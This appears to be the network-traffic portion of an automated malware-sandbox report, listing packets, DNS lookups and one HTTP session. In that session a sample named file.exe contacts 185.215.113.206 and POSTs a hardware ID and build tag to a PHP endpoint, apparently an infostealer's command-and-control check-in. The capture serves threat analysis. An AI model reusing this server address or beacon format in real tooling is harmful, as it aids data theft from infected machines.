Oct 30, 2024 23:11:55.385425091 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.385432005 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.385443926 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.385445118 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.385461092 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.385461092 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.385474920 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.385493994 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.396940947 CET	443	50029	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:55.397007942 CET	443	50029	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:55.397118092 CET	50029	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:55.397224903 CET	50029	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:55.397241116 CET	443	50029	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:55.397255898 CET	50029	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:55.397260904 CET	443	50029	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:55.399847031 CET	50033	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:55.399883986 CET	443	50033	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:55.400160074 CET	50033	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:55.400306940 CET	50033	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:55.400317907 CET	443	50033	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:55.407004118 CET	443	50028	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:55.407074928 CET	443	50028	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:55.407394886 CET	50028	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:55.407424927 CET	50028	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:55.407433033 CET	443	50028	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:55.407459974 CET	50028	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:55.407464981 CET	443	50028	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:55.409744978 CET	50034	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:55.409785986 CET	443	50034	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:55.410032988 CET	50034	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:55.410413027 CET	50034	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:55.410427094 CET	443	50034	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:55.427683115 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.427700043 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.427716017 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.427758932 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.427779913 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.427799940 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.427815914 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.427833080 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.427855968 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.428004980 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.428050041 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.428067923 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.428085089 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.428106070 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.428141117 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.456732035 CET	443	50031	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:55.456804037 CET	443	50031	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:55.457042933 CET	50031	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:55.457073927 CET	50031	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:55.457082987 CET	443	50031	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:55.457099915 CET	50031	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:55.457104921 CET	443	50031	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:55.459165096 CET	50035	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:55.459188938 CET	443	50035	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:55.459471941 CET	50035	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:55.459593058 CET	50035	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:55.459604025 CET	443	50035	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:55.470680952 CET	443	50032	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:55.470712900 CET	443	50032	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:55.470753908 CET	443	50032	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:55.470841885 CET	50032	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:55.470900059 CET	50032	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:55.470920086 CET	443	50032	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:55.470935106 CET	50032	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:55.470940113 CET	443	50032	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:55.473051071 CET	443	50030	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:55.473083019 CET	443	50030	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:55.473124027 CET	443	50030	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:55.473148108 CET	50030	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:55.473180056 CET	50030	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:55.473351002 CET	50030	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:55.473359108 CET	443	50030	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:55.473370075 CET	50030	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:55.473373890 CET	443	50030	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:55.473582983 CET	50036	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:55.473602057 CET	443	50036	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:55.473654985 CET	50036	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:55.473767996 CET	50036	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:55.473778009 CET	443	50036	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:55.474169016 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.474209070 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.474225044 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.474256039 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.474260092 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.474277973 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.474289894 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.474319935 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.474330902 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.474378109 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.475790977 CET	50037	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:55.475805044 CET	443	50037	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:55.476092100 CET	50037	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:55.476197958 CET	50037	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:55.476207972 CET	443	50037	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:55.498198032 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.498255014 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.498255968 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.498272896 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.498306036 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.498387098 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.498450994 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.498466969 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.498519897 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.498519897 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.498549938 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.498565912 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.498589039 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.498622894 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.498651028 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.498742104 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.498756886 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.498771906 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.498780966 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.498791933 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.498796940 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.498836994 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.498888969 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.499017954 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.499806881 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.499855995 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.499865055 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.499881983 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.499917984 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.499990940 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.500030994 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.500040054 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.500055075 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.500096083 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.500183105 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.500222921 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.500238895 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.500255108 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.500261068 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.500272989 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.500276089 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.500300884 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.500318050 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.500341892 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.500483990 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.500499010 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.500515938 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.500533104 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.500538111 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.500550032 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.500564098 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.500566959 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.500581026 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.500621080 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.500790119 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.500812054 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.500828981 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.500849009 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.500880957 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.500926971 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.500942945 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.500977993 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.500977993 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.500993967 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.501009941 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.501025915 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.501028061 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.501043081 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.501044989 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.501060963 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.501069069 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.501077890 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.501086950 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.501105070 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.501121044 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.501425028 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.501446009 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.501462936 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.501477957 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.501488924 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.501496077 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.501512051 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.501521111 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.501538038 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.501559973 CET	49980	80	192.168.2.5	185.215.113.206

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 30, 2024 23:11:19.756149054 CET	192.168.2.5	1.1.1.1	0x60ff	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 23:11:19.756308079 CET	192.168.2.5	1.1.1.1	0x8dac	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 30, 2024 23:11:24.451417923 CET	192.168.2.5	1.1.1.1	0x2ca6	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 23:11:24.451778889 CET	192.168.2.5	1.1.1.1	0xa339	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Oct 30, 2024 23:11:25.454314947 CET	192.168.2.5	1.1.1.1	0x87b3	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 23:11:25.454540014 CET	192.168.2.5	1.1.1.1	0x3b38	Standard query (0)	play.google.com	65	IN (0x0001)	false
Oct 30, 2024 23:11:32.072635889 CET	192.168.2.5	1.1.1.1	0x818e	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 23:11:32.072830915 CET	192.168.2.5	1.1.1.1	0x4fc1	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Oct 30, 2024 23:11:33.804177999 CET	192.168.2.5	1.1.1.1	0xbbb0	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Oct 30, 2024 23:11:33.804645061 CET	192.168.2.5	1.1.1.1	0x1f2a	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Oct 30, 2024 23:11:35.270518064 CET	192.168.2.5	1.1.1.1	0xa6b	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 23:11:35.270695925 CET	192.168.2.5	1.1.1.1	0xea66	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Oct 30, 2024 23:11:35.285717010 CET	192.168.2.5	1.1.1.1	0x2b8c	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 23:11:35.285873890 CET	192.168.2.5	1.1.1.1	0xcbb0	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Oct 30, 2024 23:11:35.298794031 CET	192.168.2.5	1.1.1.1	0x9f03	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 23:11:35.299036980 CET	192.168.2.5	1.1.1.1	0x880b	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Oct 30, 2024 23:11:35.311575890 CET	192.168.2.5	1.1.1.1	0x8b2e	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 23:11:35.311724901 CET	192.168.2.5	1.1.1.1	0xb406	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Oct 30, 2024 23:11:35.314589977 CET	192.168.2.5	1.1.1.1	0x7d6	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 23:11:35.314774990 CET	192.168.2.5	1.1.1.1	0x6f10	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Oct 30, 2024 23:11:36.651612997 CET	192.168.2.5	1.1.1.1	0x7fc5	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 23:11:36.651760101 CET	192.168.2.5	1.1.1.1	0x155e	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Oct 30, 2024 23:11:36.652403116 CET	192.168.2.5	1.1.1.1	0xea69	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 23:11:36.652555943 CET	192.168.2.5	1.1.1.1	0xc11d	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Oct 30, 2024 23:11:36.659342051 CET	192.168.2.5	1.1.1.1	0xee3f	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 23:11:36.659491062 CET	192.168.2.5	1.1.1.1	0xbb5a	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 30, 2024 23:11:19.764722109 CET	1.1.1.1	192.168.2.5	0x60ff	No error (0)	www.google.com		172.217.18.4	A (IP address)	IN (0x0001)	false
Oct 30, 2024 23:11:19.764738083 CET	1.1.1.1	192.168.2.5	0x8dac	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 30, 2024 23:11:24.460095882 CET	1.1.1.1	192.168.2.5	0x2ca6	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 23:11:24.460095882 CET	1.1.1.1	192.168.2.5	0x2ca6	No error (0)	plus.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Oct 30, 2024 23:11:24.461642981 CET	1.1.1.1	192.168.2.5	0xa339	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 23:11:25.463037968 CET	1.1.1.1	192.168.2.5	0x87b3	No error (0)	play.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Oct 30, 2024 23:11:32.081998110 CET	1.1.1.1	192.168.2.5	0x818e	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 23:11:32.082011938 CET	1.1.1.1	192.168.2.5	0x4fc1	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 23:11:32.379682064 CET	1.1.1.1	192.168.2.5	0xa949	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 23:11:32.379682064 CET	1.1.1.1	192.168.2.5	0xa949	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Oct 30, 2024 23:11:32.379956007 CET	1.1.1.1	192.168.2.5	0x7ac4	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 23:11:33.816376925 CET	1.1.1.1	192.168.2.5	0xbbb0	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 23:11:33.816615105 CET	1.1.1.1	192.168.2.5	0x1f2a	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 23:11:35.279439926 CET	1.1.1.1	192.168.2.5	0xa6b	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 23:11:35.279439926 CET	1.1.1.1	192.168.2.5	0xa6b	No error (0)	googlehosted.l.googleusercontent.com		172.217.18.1	A (IP address)	IN (0x0001)	false
Oct 30, 2024 23:11:35.280009031 CET	1.1.1.1	192.168.2.5	0xea66	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 23:11:35.297230005 CET	1.1.1.1	192.168.2.5	0x2b8c	No error (0)	sb.scorecardresearch.com		18.244.18.38	A (IP address)	IN (0x0001)	false
Oct 30, 2024 23:11:35.297230005 CET	1.1.1.1	192.168.2.5	0x2b8c	No error (0)	sb.scorecardresearch.com		18.244.18.27	A (IP address)	IN (0x0001)	false
Oct 30, 2024 23:11:35.297230005 CET	1.1.1.1	192.168.2.5	0x2b8c	No error (0)	sb.scorecardresearch.com		18.244.18.32	A (IP address)	IN (0x0001)	false
Oct 30, 2024 23:11:35.297230005 CET	1.1.1.1	192.168.2.5	0x2b8c	No error (0)	sb.scorecardresearch.com		18.244.18.122	A (IP address)	IN (0x0001)	false
Oct 30, 2024 23:11:35.309499025 CET	1.1.1.1	192.168.2.5	0x9f03	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 23:11:35.309982061 CET	1.1.1.1	192.168.2.5	0x880b	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 23:11:35.322474957 CET	1.1.1.1	192.168.2.5	0x8b2e	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 23:11:35.322640896 CET	1.1.1.1	192.168.2.5	0xb406	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 23:11:35.325359106 CET	1.1.1.1	192.168.2.5	0x7d6	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 23:11:35.325856924 CET	1.1.1.1	192.168.2.5	0x6f10	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 23:11:36.660330057 CET	1.1.1.1	192.168.2.5	0x155e	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Oct 30, 2024 23:11:36.660764933 CET	1.1.1.1	192.168.2.5	0x7fc5	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Oct 30, 2024 23:11:36.660764933 CET	1.1.1.1	192.168.2.5	0x7fc5	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Oct 30, 2024 23:11:36.661176920 CET	1.1.1.1	192.168.2.5	0xc11d	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Oct 30, 2024 23:11:36.661581993 CET	1.1.1.1	192.168.2.5	0xea69	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Oct 30, 2024 23:11:36.661581993 CET	1.1.1.1	192.168.2.5	0xea69	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Oct 30, 2024 23:11:36.668265104 CET	1.1.1.1	192.168.2.5	0xbb5a	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Oct 30, 2024 23:11:36.668294907 CET	1.1.1.1	192.168.2.5	0xee3f	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Oct 30, 2024 23:11:36.668294907 CET	1.1.1.1	192.168.2.5	0xee3f	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Oct 30, 2024 23:11:36.823164940 CET	1.1.1.1	192.168.2.5	0x1da	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 23:11:36.823164940 CET	1.1.1.1	192.168.2.5	0x1da	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.206	80	2800	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 23:11:10.386599064 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 30, 2024 23:11:11.308525085 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 23:11:11.311667919 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCFBFBFBKFIDHJKFCAFC Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 46 42 46 42 46 42 4b 46 49 44 48 4a 4b 46 43 41 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 38 33 43 39 35 33 30 38 33 42 46 31 30 37 39 32 30 39 30 34 37 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 42 46 42 46 42 4b 46 49 44 48 4a 4b 46 43 41 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 42 46 42 46 42 4b 46 49 44 48 4a 4b 46 43 41 46 43 2d 2d 0d 0a Data Ascii: ------FCFBFBFBKFIDHJKFCAFCContent-Disposition: form-data; name="hwid"683C953083BF1079209047------FCFBFBFBKFIDHJKFCAFCContent-Disposition: form-data; name="build"tale------FCFBFBFBKFIDHJKFCAFC--
